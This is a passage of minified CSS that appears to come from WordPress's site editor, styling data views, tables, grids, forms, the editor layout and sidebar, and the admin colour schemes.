.dataviews-view-list__title-field:has(a,button){ z-index:1; } .dataviews-view-list .dataviews-view-list__media-wrapper{ background-color:#fff; border-radius:4px; flex-shrink:0; height:52px; overflow:hidden; position:relative; width:52px; } .dataviews-view-list .dataviews-view-list__media-wrapper img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-list .dataviews-view-list__media-wrapper:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; position:absolute; right:0; top:0; width:100%; } .dataviews-view-list .dataviews-view-list__field-wrapper{ flex-grow:1; min-height:52px; } .dataviews-view-list .dataviews-view-list__fields{ color:#757575; display:flex; flex-wrap:wrap; font-size:12px; gap:12px; row-gap:4px; } .dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{ display:none; } .dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{ align-items:center; display:flex; line-height:20px; min-height:24px; } .dataviews-view-list+.dataviews-pagination{ justify-content:space-between; } .dataviews-view-list__group-header{ color:#1e1e1e; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 24px; } .dataviews-view-table{ border-collapse:collapse; border-color:inherit; color:#757575; margin-bottom:auto; position:relative; text-indent:0; width:100%; } .dataviews-view-table th{ color:#1e1e1e; font-size:13px; font-weight:400; text-align:right; } .dataviews-view-table td,.dataviews-view-table th{ padding:12px; } .dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{ text-align:left; } .dataviews-view-table td.dataviews-view-table__actions-column--sticky,.dataviews-view-table th.dataviews-view-table__actions-column--sticky{ background-color:#fff; left:0; position:sticky; } .dataviews-view-table td.dataviews-view-table__actions-column--stuck:after,.dataviews-view-table th.dataviews-view-table__actions-column--stuck:after{ background-color:#f0f0f0; bottom:0; content:""; display:block; position:absolute; right:0; top:0; width:1px; } .dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{ padding-left:0; } .dataviews-view-table td.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper,.dataviews-view-table th.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper{ max-width:auto; min-width:auto; } .dataviews-view-table tr{ border-top:1px solid #f0f0f0; } .dataviews-view-table tr .dataviews-view-table-header-button{ gap:4px; } .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{ padding-right:48px; } .dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{ margin-right:-8px; } .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{ padding-left:48px; } .dataviews-view-table tr:last-child{ border-bottom:0; } .dataviews-view-table tr.is-hovered,.dataviews-view-table tr.is-hovered .dataviews-view-table__actions-column--sticky{ background-color:#f8f8f8; } .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{ opacity:0; } .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{ opacity:1; } .dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:0; } .dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:1; } @media (hover:none){ .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:1; } } .dataviews-view-table tr.is-selected{ background-color:rgba(var(--wp-admin-theme-color--rgb), .04); color:#757575; } .dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{ border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-view-table tr.is-selected:hover{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-table tr.is-selected .dataviews-view-table__actions-column--sticky{ background-color:color-mix(in srgb, rgb(var(--wp-admin-theme-color--rgb)) 4%, #fff); } .dataviews-view-table tr.is-selected:hover .dataviews-view-table__actions-column--sticky{ background-color:color-mix(in srgb, rgb(var(--wp-admin-theme-color--rgb)) 8%, #fff); } .dataviews-view-table thead{ inset-block-start:0; position:sticky; z-index:1; } .dataviews-view-table thead tr{ border:0; } .dataviews-view-table thead tr .components-checkbox-control__input.components-checkbox-control__input{ opacity:1; } .dataviews-view-table thead th{ background-color:#fff; font-size:11px; font-weight:500; padding-bottom:8px; padding-right:12px; padding-top:8px; text-transform:uppercase; } .dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){ padding-right:4px; } .dataviews-view-table tbody td{ vertical-align:top; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{ align-items:center; display:flex; min-height:32px; white-space:nowrap; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-end{ justify-content:flex-end; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-center{ justify-content:center; } .dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){ min-height:0; } .dataviews-view-table .dataviews-view-table-header-button{ font-size:11px; font-weight:500; padding:4px 8px; text-transform:uppercase; } .dataviews-view-table .dataviews-view-table-header-button:not(:hover){ color:#1e1e1e; } .dataviews-view-table .dataviews-view-table-header-button span{ speak:none; } .dataviews-view-table .dataviews-view-table-header-button span:empty{ display:none; } .dataviews-view-table .dataviews-view-table-header{ padding-right:4px; } .dataviews-view-table .dataviews-view-table__actions-column{ white-space:nowrap; width:auto; } .dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{ opacity:1; } .dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){ padding-right:0; } .dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{ padding:4px 8px; } .dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{ padding:16px 12px; } .dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{ padding-left:0; } @container (max-width: 430px){ .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{ padding-right:24px; } .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{ padding-left:24px; } } .dataviews-view-table-selection-checkbox{ --checkbox-input-size:24px; } @media (min-width:600px){ .dataviews-view-table-selection-checkbox{ --checkbox-input-size:16px; } } .dataviews-column-primary__media{ background-color:#fff; border-radius:4px; flex-shrink:0; max-width:60px; overflow:hidden; position:relative; } .dataviews-column-primary__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-column-primary__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; position:absolute; right:0; top:0; width:100%; } .dataviews-view-table__cell-content-wrapper:not(.dataviews-column-primary__media),.dataviews-view-table__primary-column-content:not(.dataviews-column-primary__media){ max-width:80ch; min-width:15ch; } .dataviews-view-table__group-header-row .dataviews-view-table__group-header-cell{ color:#1e1e1e; font-weight:500; padding:12px 48px; } .dataviews-view-table col[class^=dataviews-view-table__col-]:not(.dataviews-view-table__col-primary){ width:1%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card{ height:100%; justify-content:flex-start; position:relative; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-actions{ padding:8px 0 4px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field{ align-content:center; min-height:24px; overflow:hidden; text-align:start; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field--clickable{ width:fit-content; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{ color:#1e1e1e; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after,.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-view-picker-grid:focus-visible[aria-activedescendant]{ outline:none; } .dataviews-view-picker-grid:focus-visible [data-active-item=true]{ outline:2px solid var(--wp-admin-theme-color); } .dataviews-view-picker-grid .dataviews-selection-checkbox{ top:8px !important; } .dataviews-view-picker-grid .dataviews-selection-checkbox input{ pointer-events:none; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media{ aspect-ratio:1/1; background-color:#fff; border-radius:4px; position:relative; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; pointer-events:none; position:absolute; right:0; top:0; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields{ font-size:12px; line-height:16px; position:relative; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields:not(:empty){ padding:0 0 12px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field-value:not(:empty){ line-height:20px; min-height:24px; padding-top:2px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field{ align-items:center; min-height:24px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-name{ color:#757575; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:35%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:65%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field:not(:has(.dataviews-view-picker-grid__field-value:not(:empty))){ display:none; } .dataviews-view-picker-grid .dataviews-view-picker-grid__badge-fields:not(:empty){ padding-bottom:12px; } .dataviews-view-picker-grid__field-value:empty,.dataviews-view-picker-grid__field:empty{ display:none; } .dataviews-view-picker-grid__card .dataviews-selection-checkbox{ position:absolute; right:8px; top:-9999em; z-index:1; } @media (hover:none){ .dataviews-view-picker-grid__card .dataviews-selection-checkbox{ top:8px; } } .dataviews-view-picker-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:hover .dataviews-selection-checkbox{ top:8px; } .dataviews-view-picker-grid__media--clickable{ cursor:pointer; } .dataviews-view-picker-grid-group__header{ color:#1e1e1e; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 48px; } .dataviews-controls__datetime{ border:none; padding:0; } .dataviews-controls__relative-date-number,.dataviews-controls__relative-date-unit{ flex:1 1 50%; } .dataviews-controls__date input[type=date]::-webkit-calendar-picker-indicator,.dataviews-controls__date input[type=date]::-webkit-inner-spin-button{ -webkit-appearance:none; display:none; } .dataviews-controls__date-preset{ border:1px solid #ddd; } .dataviews-controls__date-preset:active{ background-color:#000; } .dataforms-layouts-panel__field{ align-items:flex-start !important; justify-content:flex-start !important; min-height:32px; width:100%; } .dataforms-layouts-panel__field-label{ align-items:center; display:flex; flex-shrink:0; hyphens:auto; line-height:20px; min-height:32px; width:38%; } .dataforms-layouts-panel__field-label--label-position-side{ align-self:center; } .dataforms-layouts-panel__field-control{ align-items:center; display:flex; flex-grow:1; min-height:32px; } .dataforms-layouts-panel__field-control .components-button{ max-width:100%; min-height:32px; text-align:right; text-wrap:balance; text-wrap:pretty; white-space:normal; } .dataforms-layouts-panel__field-control.components-button.is-link[aria-disabled=true]{ text-decoration:none; } .dataforms-layouts-panel__field-control .components-dropdown{ max-width:100%; } .dataforms-layouts-panel__field-dropdown .components-popover__content{ min-width:320px; padding:16px; } .dataforms-layouts-panel__dropdown-header{ margin-bottom:16px; } .dataforms-layouts-panel__modal-footer{ margin-top:16px; } .components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{ z-index:159990; } .dataforms-layouts-regular__field{ align-items:flex-start !important; justify-content:flex-start !important; min-height:32px; width:100%; } .dataforms-layouts-regular__field-label{ align-items:center; display:flex; flex-shrink:0; hyphens:auto; line-height:20px; min-height:32px; width:38%; } .dataforms-layouts-regular__field-label--label-position-side{ align-self:center; } .dataforms-layouts-regular__field-control{ align-items:center; display:flex; flex-grow:1; min-height:32px; } .dataforms-layouts-card__field-header-label{ font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:15px; font-weight:500; line-height:20px; } .dataforms-layouts-card__field{ width:100%; } .dataforms-layouts-card__field-description{ color:#757575; display:block; font-size:13px; margin-bottom:16px; } .dataforms-layouts-card__field-summary{ display:flex; flex-direction:row; gap:16px; } .dataforms-layouts-row__field-control{ width:100%; } .dataforms-layouts__wrapper{ font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; } .edit-site-layout{ color:#ccc; display:flex; flex-direction:column; height:100%; } .edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{ background:#1e1e1e; } .edit-site-layout__content{ display:flex; flex-grow:1; height:100%; } .edit-site-layout__sidebar-region{ flex-shrink:0; width:100vw; z-index:1; } @media (min-width:782px){ .edit-site-layout__sidebar-region{ width:300px; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{ height:100vh; position:fixed !important; right:0; top:0; } .edit-site-layout__sidebar-region .edit-site-layout__sidebar{ display:flex; flex-direction:column; height:100%; } .edit-site-layout__sidebar-region .resizable-editor__drag-handle{ left:0; } .edit-site-layout__main{ display:flex; flex-direction:column; flex-grow:1; overflow:hidden; } .edit-site-layout__mobile{ display:flex; flex-direction:column; position:relative; width:100%; z-index:2; } .edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{ padding:0; } .edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{ padding:0 12px; } .edit-site-layout__canvas-container{ flex-grow:1; overflow:visible; position:relative; z-index:2; } .edit-site-layout__canvas-container.is-resizing:after{ bottom:0; content:""; left:0; position:absolute; right:0; top:0; z-index:100; } .edit-site-layout__canvas{ align-items:center; bottom:0; display:flex; justify-content:center; position:absolute; right:0; top:0; width:100%; } .edit-site-layout__canvas.is-right-aligned{ justify-content:flex-end; } .edit-site-layout__canvas .edit-site-resizable-frame__inner{ color:#1e1e1e; } @media (min-width:782px){ .edit-site-layout__canvas{ bottom:16px; top:16px; width:calc(100% - 16px); } .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003; overflow:hidden; } } @media (min-width:782px) and (not (prefers-reduced-motion)){ .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ transition:border-radius,box-shadow .4s; } } @media (min-width:782px){ .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ border-radius:8px; } .edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{ box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005; } } .edit-site-layout.is-full-canvas .edit-site-layout__canvas{ bottom:0; top:0; width:100%; } .edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{ min-height:100% !important; position:relative !important; } .edit-site-template-pages-preview{ height:100%; } html.canvas-mode-edit-transition::view-transition-group(toggle){ animation-delay:255ms; } @media (prefers-reduced-motion){ ::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){ animation:none !important; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{ display:none; } .edit-site-layout__view-mode-toggle.components-button{ view-transition-name:toggle; align-items:center; background:#1e1e1e; border-radius:0; color:#fff; display:flex; height:64px; justify-content:center; overflow:hidden; padding:0; position:relative; width:64px; } .edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{ color:#fff; } .edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{ box-shadow:0 0 0 3px #1e1e1e, 0 0 0 6px var(--wp-admin-theme-color); outline:4px solid #0000; outline-offset:4px; } .edit-site-layout__view-mode-toggle.components-button:before{ border-radius:4px; bottom:9px; box-shadow:none; content:""; display:block; left:9px; position:absolute; right:17px; top:9px; } @media not (prefers-reduced-motion){ .edit-site-layout__view-mode-toggle.components-button:before{ transition:box-shadow .1s ease; } } .edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{ align-items:center; display:flex; height:64px; justify-content:center; width:64px; } .edit-site-layout__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:0; position:fixed !important; right:auto; top:-9999em; width:280px; z-index:100000; } .edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{ bottom:0; top:auto; } .edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{ top:0; } @media (min-width:782px){ .edit-site-layout__actions{ border-right:1px solid #ddd; } } .edit-site-layout__area{ box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003; flex-grow:1; margin:0; overflow:hidden; } @media (min-width:782px){ .edit-site-layout__area{ border-radius:8px; margin:16px 0 16px 16px; } } .edit-site .components-editor-notices__snackbar{ bottom:16px; left:0; padding-left:16px; padding-right:16px; position:fixed; } .edit-site-save-hub{ border-top:1px solid #2f2f2f; color:#949494; flex-shrink:0; margin:0; padding:16px; } .edit-site-save-hub__button{ color:inherit; justify-content:center; width:100%; } .edit-site-save-hub__button[aria-disabled=true]{ opacity:1; } .edit-site-save-hub__button[aria-disabled=true]:hover{ color:inherit; } .edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{ color:#1e1e1e; } @media (min-width:600px){ .edit-site-save-panel__modal{ width:600px; } } .edit-site-sidebar__content{ contain:content; flex-grow:1; overflow-x:hidden; overflow-y:auto; } @keyframes local--slide-from-right{ 0%{ opacity:0; transform:translateX(-50px); } to{ opacity:1; transform:none; } } @keyframes local--slide-from-left{ 0%{ opacity:0; transform:translateX(50px); } to{ opacity:1; transform:none; } } .edit-site-sidebar__screen-wrapper{ overflow-x:auto; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar{ height:12px; width:12px; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{ background-color:initial; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:initial; border:3px solid #0000; border-radius:8px; } .edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{ background-color:#757575; } .edit-site-sidebar__screen-wrapper{ scrollbar-color:#0000 #0000; scrollbar-gutter:stable both-edges; scrollbar-width:thin; } .edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{ scrollbar-color:#757575 #0000; } .edit-site-sidebar__screen-wrapper{ will-change:transform; } @media (hover:none){ .edit-site-sidebar__screen-wrapper{ scrollbar-color:#757575 #0000; } } .edit-site-sidebar__screen-wrapper{ animation-duration:.14s; animation-timing-function:ease-in-out; display:flex; flex-direction:column; height:100%; max-height:100%; padding:0 12px; scrollbar-gutter:stable; will-change:transform, opacity; } @media (prefers-reduced-motion:reduce){ .edit-site-sidebar__screen-wrapper{ animation-duration:0s; } } .edit-site-sidebar__screen-wrapper.slide-from-left{ animation-name:local--slide-from-left; } .edit-site-sidebar__screen-wrapper.slide-from-right{ animation-name:local--slide-from-right; } .edit-site-site-hub{ align-items:center; display:flex; gap:8px; height:64px; justify-content:space-between; margin-left:12px; } .edit-site-site-hub__actions{ flex-shrink:0; } .edit-site-site-hub__view-mode-toggle-container{ flex-shrink:0; height:64px; width:64px; } .edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{ background:#0000; } .edit-site-site-hub__title .components-button{ color:#e0e0e0; display:block; flex-grow:1; font-size:15px; font-weight:500; margin-right:-4px; overflow:hidden; padding-left:16px; position:relative; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; } .edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{ color:#e0e0e0; } .edit-site-site-hub__title .components-button:focus{ box-shadow:none; outline:none; } .edit-site-site-hub__title .components-button:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color); outline:2px solid #0000; outline-offset:2px; } .edit-site-site-hub__title .components-button:after{ content:"↗"; font-weight:400; left:0; opacity:0; position:absolute; } @media not (prefers-reduced-motion){ .edit-site-site-hub__title .components-button:after{ transition:opacity .1s linear; } } .edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{ opacity:1; } .edit-site-site-hub_toggle-command-center{ color:#e0e0e0; } .edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{ fill:#f0f0f0; } .edit-site-site-icon__icon{ fill:currentColor; height:100%; width:100%; } .edit-site-layout.is-full-canvas .edit-site-site-icon__icon{ padding:12px; } .edit-site-site-icon__image{ aspect-ratio:1/1; background:#333; height:100%; object-fit:cover; width:100%; } .edit-site-layout.is-full-canvas .edit-site-site-icon__image{ border-radius:0; } .edit-site-editor__view-mode-toggle button:focus{ position:relative; } .edit-site-editor__view-mode-toggle button:focus:before{ bottom:0; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff; content:""; display:block; left:0; position:absolute; right:0; top:0; z-index:1; } .edit-site-editor-canvas-container{ background-color:var(--wp-editor-canvas-background); height:100%; } .edit-site-editor-canvas-container iframe{ display:block; height:100%; width:100%; } .edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{ padding:24px 24px 0; } .edit-site-editor-canvas-container__section{ background:#fff; border-radius:8px; bottom:0; left:0; overflow:hidden; position:absolute; right:0; top:0; } @media not (prefers-reduced-motion){ .edit-site-editor-canvas-container__section{ transition:all .3s; } } .edit-site-editor-canvas-container__close-button{ background:#fff; left:8px; position:absolute; top:8px; z-index:2; } .edit-site-post-list__featured-image{ height:100%; object-fit:cover; width:100%; } .edit-site-post-list__featured-image-wrapper{ border-radius:4px; height:100%; width:100%; } .edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){ background-color:#f0f0f0; border-radius:4px; display:block; flex-grow:0 !important; height:32px; overflow:hidden; position:relative; width:32px; } .edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; position:absolute; right:0; top:0; width:100%; } .edit-site-post-list__featured-image-button{ background-color:unset; border:none; border-radius:4px; box-shadow:none; box-sizing:border-box; cursor:pointer; height:100%; overflow:hidden; padding:0; width:100%; } .edit-site-post-list__featured-image-button:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{ background:rgba(var(--wp-admin-theme-color--rgb), .04); box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-post-list__status-icon{ height:24px; width:24px; } .edit-site-post-list__status-icon svg{ fill:currentColor; margin-right:-4px; } .edit-site-resizable-frame__inner{ position:relative; } body:has(.edit-site-resizable-frame__inner.is-resizing){ cursor:col-resize; user-select:none; -webkit-user-select:none; } .edit-site-resizable-frame__inner.is-resizing:before{ content:""; inset:0; position:absolute; z-index:1; } .edit-site-resizable-frame__inner-content{ inset:0; position:absolute; z-index:0; } .edit-site-resizable-frame__handle{ align-items:center; background-color:#75757566; border:0; border-radius:4px; cursor:col-resize; display:flex; height:64px; justify-content:flex-end; padding:0; position:absolute; top:calc(50% - 32px); width:4px; z-index:100; } .edit-site-resizable-frame__handle:before{ content:""; height:100%; position:absolute; right:100%; width:32px; } .edit-site-resizable-frame__handle:after{ content:""; height:100%; left:100%; position:absolute; width:32px; } .edit-site-resizable-frame__handle:focus-visible{ outline:2px solid #0000; } .edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{ background-color:var(--wp-admin-theme-color); } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 114.7661290323, 160.5; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 96.5322580645, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33.0384615385, 68.7307692308, 230.4615384615; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:23.6923076923, 58.1538461538, 214.3076923077; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7.3723404255, 81.914893617, 108.1276595745; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:5.7446808511, 63.829787234, 84.2553191489; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56.2692307692, 51.4461538462, 48.2307692308; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:42.5384615385, 38.8923076923, 36.4615384615; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:69.8430232558, 53.6598837209, 92.8401162791; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:57.6860465116, 44.3197674419, 76.6802325581; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221.4908256881, 56.1788990826, 45.0091743119; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:207.8348623853, 44.2201834862, 33.1651376147; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87.0873362445, 110.192139738, 116.4126637555; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76.1746724891, 96.384279476, 101.8253275109; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; 